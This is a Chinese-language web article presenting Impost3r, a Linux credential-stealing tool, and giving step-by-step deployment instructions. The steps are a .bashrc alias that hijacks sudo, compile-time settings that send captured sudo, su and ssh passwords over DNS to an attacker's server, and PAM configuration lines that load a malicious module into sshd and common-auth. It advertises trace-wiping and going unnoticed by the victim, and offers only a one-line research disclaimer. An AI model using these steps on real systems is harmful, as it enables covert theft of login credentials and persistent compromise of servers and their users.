您好,登錄后才能下訂單哦!
這篇文章將為大家詳細(xì)講解有關(guān)Impost3r是一款什么工具,小編覺得挺實(shí)用的,因此分享給大家做個(gè)參考,希望大家閱讀完這篇文章后可以有所收獲。
Impost3r是一款針對Linux平臺(tái)的密碼管理工具,該工具采用C語言開發(fā),可以幫助廣大研究人員在滲透測試的過程中,從目標(biāo)Linux主機(jī)中獲取各類密碼(ssh、su、sudo)。
此工具僅限于安全研究和教學(xué),請不要將其用于惡意目的。
1、 自動(dòng)擦除密碼竊取行為痕跡;
2、 通過DNS協(xié)議傳輸結(jié)果;
3、 無需用戶交互,用戶無法察覺;
廣大研究人員可以使用下列命令將該項(xiàng)目源碼克隆至本地:
git clone https://github.com/ph5ntonn/Impost3r.git
Impost3r可以用來竊取包括sudo、su、ssh服務(wù)在內(nèi)的密碼,這三個(gè)服務(wù)可大致分為2類,sudo以及ssh/su,下面分兩種情況討論。
僅需要普通用戶權(quán)限即可,不要求一定是root,但只能竊取對應(yīng)用戶的密碼,不能竊取其他用戶的。
首先假設(shè)攻擊者控制了一臺(tái)服務(wù)器,權(quán)限為普通用戶權(quán)限??截愐环萦脩舻?bashrccp ~/.bashrc /tmp/,并將這份副本放在攻擊者自定義的路徑下(本例中放置在/tmp/
目錄下,攻擊者可以修改)。修改用戶根目錄下的.bashrc(~/.bashrc)
,在最后一行添加如下語句(其中“/tmp/.impost3r
”需要與下面的FILENAME保持一致):
alias sudo='impost3r() { if [ -f "/tmp/.impost3r" ]; then /tmp/.impost3r "$@" && unalias sudo else unalias sudo;sudo "$@" fi }; impost3r'
添加完成后,保存文件并執(zhí)行:
source ~/.bashrc
接著攻擊者需要對Impost3r源代碼/sudo/main.c
進(jìn)行修改:
/* Custom setting */ # define FILENAME "/tmp/.impost3r" \\設(shè)置Impost3r在目標(biāo)服務(wù)器上的位置 # define BACKUP_BASHRC "/tmp/.bashrc" \\設(shè)置攻擊者備份的源.bashrc在目標(biāo)服務(wù)器上的位置 # define SAVE_OR_SEND 0 \\設(shè)置在竊取成功后是將結(jié)果保存在目標(biāo)機(jī)器上或者是發(fā)送至攻擊者控制的機(jī)器(發(fā)送=0,保存=1,默認(rèn)為發(fā)送) /* Send to server */ # define MAX_RESEND 30 \\設(shè)置當(dāng)竊取到密碼之后,Impost3r向攻擊者服務(wù)器發(fā)送用戶密碼的最大重試次數(shù) # define RESEND_INTERVAL 5 \\設(shè)置每一次發(fā)送密碼的間隔 # define REMOTE_ADDRESS "192.168.0.12" \\設(shè)置回送密碼的遠(yuǎn)程地址 # define REMOTE_PORT 53 \\設(shè)置回送密碼的遠(yuǎn)程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.cache" \\設(shè)置結(jié)果文件保存的位置,在SAVE_OR_SEND設(shè)置為1的情況下
修改完成后,保存并在當(dāng)前目錄執(zhí)行:
make
在當(dāng)前目錄下得到編譯完成的.impost3r
文件,上傳.impost3r
文件至目標(biāo)服務(wù)器的/tmp/
文件夾下(僅為示例,可自行修改,只需與源代碼中定義相同即可)。攻擊者在自己的服務(wù)器上啟動(dòng)dns服務(wù)端程序,等待合法用戶使用sudo后獲取密碼。
注意事項(xiàng):在竊取sudo密碼的情況下,Impost3r在成功后將會(huì)自動(dòng)擦除痕跡,并不需要攻擊者上去手動(dòng)清理。
竊取ssh/su密碼與上面sudo密碼的竊取利用方法不同,要求必須是root權(quán)限,可以竊取任意用戶密碼
以Ubuntu為例,首先還是假設(shè)攻擊者控制了一臺(tái)服務(wù)器,通過一頓提權(quán)操作獲得了root權(quán)限(或者可愛的管理員就是用root權(quán)限啟動(dòng)的服務(wù)),先編輯Impost3r的/ssh_su/main.c
源代碼文件。
/* Custom setting */ # define SSH_OR_BOTH 0 \\設(shè)置偷取模式,0代表僅偷取ssh密碼,1代表偷取ssh及su密碼,默認(rèn)為0(后面會(huì)講到區(qū)別) # define SAVE_OR_SEND 0 \\設(shè)置在竊取成功后是將結(jié)果保存在目標(biāo)機(jī)器上或者是發(fā)送至攻擊者控制的機(jī)器(發(fā)送=0,保存=1,默認(rèn)為發(fā)送) /* Send to server */ # define MAX_RESEND 30 \\設(shè)置當(dāng)竊取到密碼之后,Impost3r向攻擊者服務(wù)器發(fā)送用戶密碼的最大重試次數(shù)(僅當(dāng)SSH_OR_BOTH為0,此選項(xiàng)才有效) # define RESEND_INTERVAL 5 \\設(shè)置每一次發(fā)送密碼的間隔(僅當(dāng)SSH_OR_BOTH為0,此選項(xiàng)才有效) # define REMOTE_ADDRESS "192.168.0.12" \\設(shè)置回送密碼的遠(yuǎn)程地址 # define REMOTE_PORT 53 \\設(shè)置回送密碼的遠(yuǎn)程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.sshsucache" \\設(shè)置結(jié)果文件保存的位置,在SAVE_OR_SEND設(shè)置為1的情況下
修改完成后,保存并在當(dāng)前目錄下執(zhí)行:
make
得到編譯好的文件impost3r.so
,將編譯完成的impost3r.so
上傳至目標(biāo)機(jī)器的/lib/x86_64-linux-gnu/security
下(不同機(jī)器可能文件夾名不同,請根據(jù)情況放置)。進(jìn)入/etc/pam.d
下,這時(shí)分兩種情況,如果選擇的模式是僅偷取ssh密碼,那么就需要執(zhí)行vi sshd
,在文件的最后添加如下語句:
auth optional impost3r.so account optional impost3r.so
保存并退出,重啟sshd服務(wù):
service sshd restart
而如果選擇的是ssh和su密碼一起偷取,那么就需要執(zhí)行:
vi common-auth
添加相同語句,保存并退出后同樣重啟sshd服務(wù)。攻擊者在自己的服務(wù)器上啟動(dòng)dns服務(wù)端程序,等待合法用戶使用ssh登陸目標(biāo)機(jī)器或者使用su切換用戶后獲取密碼。
注意事項(xiàng):在竊取ssh/su密碼的情況下,Impost3r由于權(quán)限原因無法清除痕跡,需要攻擊者自己去清除。
關(guān)于“Impost3r是一款什么工具”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,使各位可以學(xué)到更多知識(shí),如果覺得文章不錯(cuò),請把它分享出去讓更多的人看到。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。